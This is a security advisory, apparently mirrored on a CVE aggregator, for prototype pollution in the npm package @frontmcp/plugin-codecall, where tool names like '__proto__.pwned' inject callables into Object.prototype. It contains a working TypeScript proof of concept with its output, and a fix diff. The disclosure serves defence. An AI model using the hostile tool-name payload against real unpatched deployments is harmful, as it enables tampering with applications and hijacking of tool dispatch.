# GHSA-CMRW-XHCG-6GF9: Prototype pollution in CodeCall tool namespaces via proto-prefixed tool names

- Database: GitHub
- Severity: CVSS 7.4 (High)
- Published: 2026-09-14
- Modified: 2026-09-14

## Affected versions

- @frontmcp/plugin-codecall (npm): through 1.7.1

## Description

### Summary

`@frontmcp/plugin-codecall` is vulnerable to process-wide prototype pollution when a registered tool name uses `__proto__` as its namespace.

CodeCall converts tool names in the form `<namespace>.<method>` into JavaScript objects. The namespace is validated as a JavaScript identifier, but dangerous prototype keys such as `__proto__` are not rejected.

The namespace accumulator is a normal object:

```ts
const namespaces: ToolNamespaces = {};
```

and the bucket is obtained using:

```ts
const bucket =
  namespaces[ns] ?? (namespaces[ns] = {});
```

For a tool named:

```text
__proto__.pwned
```

`namespaces['__proto__']` resolves to `Object.prototype`. The following assignment therefore installs the tool binding directly onto `Object.prototype`:

```ts
bucket[method] =
  (input, options) =>
    callTool(name, input, options);
```

Every ordinary object in the Node.js process subsequently inherits the attacker-controlled callable.

The issue was verified against the implementation shipped with FrontMCP `v1.7.1`, and the same code is present on the tested 1.5.x maintenance branch.

### Details

The current validation accepts `__proto__`:

```ts
const IDENT_RE =
  /^[A-Za-z_$][A-Za-z0-9_$]*$/;
```

The reserved namespace list does not include prototype-sensitive property names.

The vulnerable code is:

```ts
const ns = name.slice(0, dot);
const method = name.slice(dot + 1);

if (
  !IDENT_RE.test(ns) ||
  !IDENT_RE.test(method)
) {
  skipped.push({
    name,
    reason: 'invalid-identifier'
  });
  continue;
}

if (RESERVED_NAMESPACES.has(ns)) {
  skipped.push({
    name,
    reason: 'reserved-namespace'
  });
  continue;
}

const bucket =
  namespaces[ns] ??
  (namespaces[ns] = {});

if (
  Object.prototype.hasOwnProperty.call(
    bucket,
    method
  )
) {
  skipped.push({
    name,
    reason: 'duplicate-method'
  });
  continue;
}

bucket[method] =
  (input, options) =>
    callTool(name, input, options);
```

Because `namespaces` inherits from `Object.prototype`, the effective operation for `__proto__.pwned` becomes:

```text
Object.prototype.pwned =
  (...) => callTool('__proto__.pwned', ...)
```

CodeCall builds these namespaces from the registered tool set, including hidden tools:

```ts
const registeredTools =
  this.scope.tools.getTools(true);

const { namespaces, skipped } =
  buildToolNamespaces(
    registeredTools,
    environment.callTool
  );
```

The resulting pollution persists process-wide until restart.

### PoC

Requirements:

* Node.js
* npm
* git

Clone the affected release:

```bash
git clone https://github.com/agentfront/frontmcp.git
cd frontmcp
git checkout v1.7.1
npm install -D tsx
```

Save the following as `proto_poc.ts` in the repository root:

```ts
import { buildToolNamespaces }
  from './plugins/plugin-codecall/src/utils/build-tool-namespaces';

console.log(
  'before:',
  ({} as any).pwned
);

const tools = [
  { name: '__proto__.pwned' },
  { name: 'safe.ok' }
];

const calls: string[] = [];

const callTool = async (
  name: string,
  input: unknown
) => {
  calls.push(name);

  return {
    called: name,
    input
  };
};

const {
  namespaces,
  skipped
} = buildToolNamespaces(
  tools as any,
  callTool as any
);

console.log(
  'skipped:',
  JSON.stringify(skipped)
);

console.log(
  'namespaces own keys:',
  Object.keys(namespaces)
);

console.log(
  'typeof ({}).pwned:',
  typeof (({} as any).pwned)
);

console.log(
  'typeof ([]).pwned:',
  typeof (([] as any).pwned)
);

console.log(
  'Object.prototype owns pwned:',
  Object.prototype.hasOwnProperty.call(
    Object.prototype,
    'pwned'
  )
);

(async () => {
  const victim: any = {};

  if (typeof victim.pwned === 'function') {
    console.log(
      'invocation:',
      JSON.stringify(
        await victim.pwned({ q: 1 })
      )
    );
  }

  console.log(
    'callTool calls:',
    JSON.stringify(calls)
  );
})();
```

Run:

```bash
npx tsx proto_poc.ts
```

Observed on the `v1.7.1` implementation:

```text
before: undefined
skipped: []
namespaces own keys: [ 'safe' ]
typeof ({}).pwned: function
typeof ([]).pwned: function
Object.prototype owns pwned: true
invocation: {"called":"__proto__.pwned","input":{"q":1}}
callTool calls: ["__proto__.pwned"]
```

This demonstrates that:

* the hostile tool name is not rejected;
* the returned namespace object does not visibly contain the hostile namespace;
* `Object.prototype` is modified process-wide;
* arbitrary ordinary objects inherit the injected callable; and
* invoking the inherited property dispatches to the corresponding tool.

### Suggested fix

Use null-prototype objects for attacker-influenced namespace maps and explicitly reject prototype-sensitive property names.

```diff
+const PROTOTYPE_KEYS =
+  new Set([
+    '__proto__',
+    'constructor',
+    'prototype'
+  ]);

-const namespaces: ToolNamespaces = {};
+const namespaces: ToolNamespaces =
+  Object.create(null);

 ...

 if (
   !IDENT_RE.test(ns) ||
   !IDENT_RE.test(method)
 ) {
   ...
 }

+if (
+  PROTOTYPE_KEYS.has(ns) ||
+  PROTOTYPE_KEYS.has(method)
+) {
+  skipped.push({
+    name,
+    reason: 'prototype-key'
+  });
+  continue;
+}

 ...

 const bucket =
   namespaces[ns] ??
-  (namespaces[ns] = {});
+  (namespaces[ns] =
+    Object.create(null));
```

Both protections are recommended: explicit rejection makes malicious names visible and predictable, while null-prototype objects prevent future unsafe keys from reaching JavaScript intrinsics.

### Impact

An attacker-influenced tool name can cause a callable property to be written to `Object.prototype`, affecting every ordinary object in the Node.js process.

The injected property persists until process restart and can alter application behavior wherever inherited properties are treated as trusted values.

The injected function also closes over CodeCall's `callTool` dispatcher. The demonstrated PoC shows that invoking the inherited property dispatches to the attacker-selected tool name.

This can affect both integrity and confidentiality depending on the tools available to the CodeCall environment. No availability impact is claimed.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-cmrw-xhcg-6gf9

Page: https://cve.now/GHSA-CMRW-XHCG-6GF9

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
